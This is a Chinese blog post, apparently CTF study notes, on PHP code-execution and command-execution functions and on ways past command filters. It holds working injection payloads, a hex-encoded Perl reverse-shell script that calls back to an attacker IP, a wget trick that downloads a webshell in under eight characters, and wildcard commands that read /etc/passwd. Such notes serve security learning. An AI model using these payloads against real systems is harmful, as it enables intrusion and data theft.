命令执行


关于命令执行的一些简单知识和简单绕过

命令执行和绕过技巧

首先看一下php中代码执行的几种方式

1.eval()

eval()函数应该是php中最常见的代码执行函数,它会将字符串当作php代码执行,记得字符串要规范,不要漏掉分号。如

eval("phpinfo();"),eval(phpinfo())

2.${}

${}见的比较少,直接${php代码},不加分号,如

${phpinfo()},${eval($a)}

3.assert()

assert()可以将传入的字符串当作php代码执行,而且可以不加分号。如assert($_GET[‘cmd’]),assert(phpinfo())。但是在php版本7后,用assert执行php代码没有成功。

$a='assert';$a(phpinfo());

assert(‘phpinfo’,”)

4.preg_replace()

pregreplace($pattern, $replacement, $subject); 函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。 $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。php5.5.0之前,该函数存在远程代码执行漏洞,/e 修正符使 pregreplace() 将 replacement 参数当作 PHP 代码

$a = 'phpinfo()';
preg_replace("/abc/e",$a,'abcd');

5.create_function()

该函数用来创建匿名函数。 这个函数的实现大概是这样的

$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。 执行代码

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面这种方法是最直接的,接下来看一点有趣的。 $id=$_GET[‘id’];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/* 

传入后,代码如下

function niming($name){
echo $name.编号2;
 }phpinfo();/*
}

这样就执行了代码

6.array_map()

array arraymap ( callable $callback , array $array1 [, array $… ] ) arraymap():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。函数例子

<?php
function cube($n)
{
return($n * $n * $n);
}

$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>

这使得 $b 成为:

Array
(
[0] => 1
[1] => 8
[2] => 27
[3] => 64
[4] => 125
)

漏洞演示

$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

构造a=assert&b=phpinfo(); (php7.0之前)或者a=system&b=ls 但是不能a=eval&b=phpinfo(); eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,…

7.call_user_func()

mixed calluserfunc ( callable $callback [, mixed $parameter [, mixed $… ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。示例

call_user_func($_GET['b'],$_GET['a']);

构造poc跟array_map()一样

这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。 例如

<?php
class myclass{
    static function say_hello(){
        echo "hello!";
    }
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));

结果就会调用类myclass中的say_hello方法,输出hello!

8.call_user_func_array()

mixed calluserfunc_array ( callable $callback , array $paramarr ) 把第一个参数作为回调函数(callback)调用,把参数数组作(paramarr)为回调函数的的参数传入。示例

$array[0] = $_GET['a'];

call_user_func_array($_GET['b'],$array); 

构造poc跟array_map()一样

9.array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 示例

$array[0] = $_GET['a'];
array_filter($array,'system');

10.usort()/uasort()

bool usort ( array &$array , callable $valuecomparefunc ) 本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。 示例

<?php
// ?1[]=ls&1[]=ls&2=system
usort(...$_GET);
?>

payload只有5.6以上版本能用,关于…$_GET是php5.6引入的新特性。即将数组展开成参数的形式。大概过程就是,GET变量被展开成两个参数[‘ls’, ‘ls’]和system,传入usort函数。usort函数的第二个参数是一个回调函数system,其调用了第一个参数中的ls。 利用这个函数可以在字符长度限制的时候实现巧妙绕过

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

构造http://10.10.10.135/123.php?param=usort(…$POST); 然后post 1[]=test&1[]=whoami&2=system 或者http://10.10.10.135/123.php?1[]=test&1[]=whoami&2=system 然后 post usort(…$GET);

再来看一下php中执行命令的函数

1.exec()

exec()函数没有输出结果,返回命令执行结果的最后一行内容。 因为没有输出执行结果,所以可以用时间盲注,dnslog等方法。 示例:eval(exec($c)); 可以构造payload:c=echo “printr(scandir(DIR));” 原理是:因为exec()会返回命令执行结果的最后一行,而这个返回结果printr(scandir(DIR__)); 刚好被eval执行。 也可以用基于时间的盲注[ cut -c 1 flag.txt == “8” ] &&sleep 3

2.shell_exec()

跟exec()差不多,也是没有输出结果,返回命令执行的结果。

3.system()

直接输出结果,返回命令执行的输出的最好一行

4.passthru()

直接输出结果,无返回值

5.`反引号

echo `代码`

6.ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 obendflush() 函数。

可选参数 outputcallback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( obflush(), obclean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 outputcallback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

下面的代码,由于调用了obendflush(),所以会调用obstart(cmd)中的cmd,把我们输入的GET[a]作为cmd的参数。

<?php
    $cmd = 'system';
    ob_start($cmd);
    echo "$_GET[a]";
    ob_end_flush();
?>

7.mail函数+LD_PRELOAD执行系统命令

这个比较复杂,下次专门写篇博客学习。

8.popen()函数

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。

返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。

此指针可以用于fgets(),fgetss()和 fwrite()

<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  

while (!feof($fp)) {      //从通道里面取得东西  
    $out = fgets($fp, 4096);  
    echo  $out;         //打印出来  
}  
pclose($fp);  
?> 

9.proc_open()

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

与Popen函数类似,但是可以提供双向管道

<?php  
$test = "ipconfig";  
$array =   array(  
array("pipe","r"),   //标准输入  
array("pipe","w"),   //标准输出内容  
array("pipe","w")    //标准输出错误  
);  

$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?>

10.pcntl_exec()函数

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 args是一个要传递给程序的参数的字符串数组。

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

<?php

pcntl_exec ( "/bin/bash" , array("tmp/1"));

?>

看到网上有的payload是 pcntl_exec ( “/bin/bash” , array(“whoami”)); 但是我在kali没有测试成功,提示/usr/bin/whoami: /usr/bin/whoami:无法执行二进制文件。而且写在php脚本,然后用网页访问执行php文件,提示不存在pcntl_exec函数,直接在命令行php -r 就可以。

这里给出可以反弹shell的脚本

<?php 
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/

$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';

header("content-Type: text/html; charset=gb2312");

if(function_exists('pcntl_exec')) {
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('写入'.$file.'失败');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
        echo '不支持pcntl扩展';
}
?>

绕过方式(linux)

1.绕过空格过滤

< ${IFS} $IFS$9 %09

root@kali:~# cat<test.txt
hello world!
root@kali:~# cat${IFS}test.txt
hello world!
root@kali:~# cat$IFS$9test.txt
hello world!
root@kali:~#
//http://ip/index.php?cmd=cat%091.txt

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串! 还有就是,当传入参数是system(“ls${IFS}/”)时,没办法执行成功,但是直接传入ls${IFS}/,即php代码为eval(system($_GET[‘cmd’]));时,可以成功。

2.绕过分隔符过滤

正常linux的管道符有 $ | ; $$和|| $:是将命令放到后台执行 ;:是连续执行多条命令 |:管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示 $$:只有左边的命令都为真,后面的命令才会执行 ||:只有左边的命令都为假,后面的命令才会执行

当管道符被过滤的时候,可以用%0a 符号,相当于管道符’;’。

3.字符拼接绕过敏感字符过滤

比如过滤了ls. payload:

http://10.10.10.143/123.php?cmd=a=l;b=s;$a$b

4.base64编码绕过

payload: system("`echo 'bHMK'|base64 -d`")

其中的base64编码为ls的编码,base64 -d的用来解码的

七个字的命令执行(基于一道CTF题)

题目:

<?php
if(strlen($_GET[1])<8){
 echo shell_exec($_GET[1]);
}
?>

这道题限制了命令的字符数,直接写shell是不可能的,因为 echo 1>1要八个字符,下载一个shell也不行,因为wget a.cn也要八个字符。

这里要用到1>filename,这个命令可以创造一个空的文件。(a>filename也可以,虽然会报错)。ls >filename 可以将结果放到文件,但是默认会加\n,ls -t是按时间顺利列出文件,最先修改的在最前面。 这样的sh文件是能够被执行的。其中a.cn为自己的域名,1.php就是放在自己服务器上的shell文件。

wget\
 a.\
cn\
-O\
1.php

写的时候注意下空格,还有就是linux 需要用\对空格和\进行转义。

绕过.的ip过滤

可以将IP地址转换为数字地址绕过。 如 http://www.msxindl.com/tools/ip/ip_num.asp

通配符绕waf

关于通配符

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,请通过键入man 7 glob命令查看手册了解。并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。 如/???/ls 列出文件,实际就是执行/bin/ls 如/???/?at /???/p????d 获取etc/passwd,实际就是执行/bin/cat /etc/passwd

具体的还是要根据实际情况,然后在命令行自己测试,写出payload. 两篇比较老的参考文章,里面很多大多数不能用了。 https://www.freebuf.com/articles/web/160175.html https://www.freebuf.com/articles/web/186298.html

留下评论

粤ICP备20010650号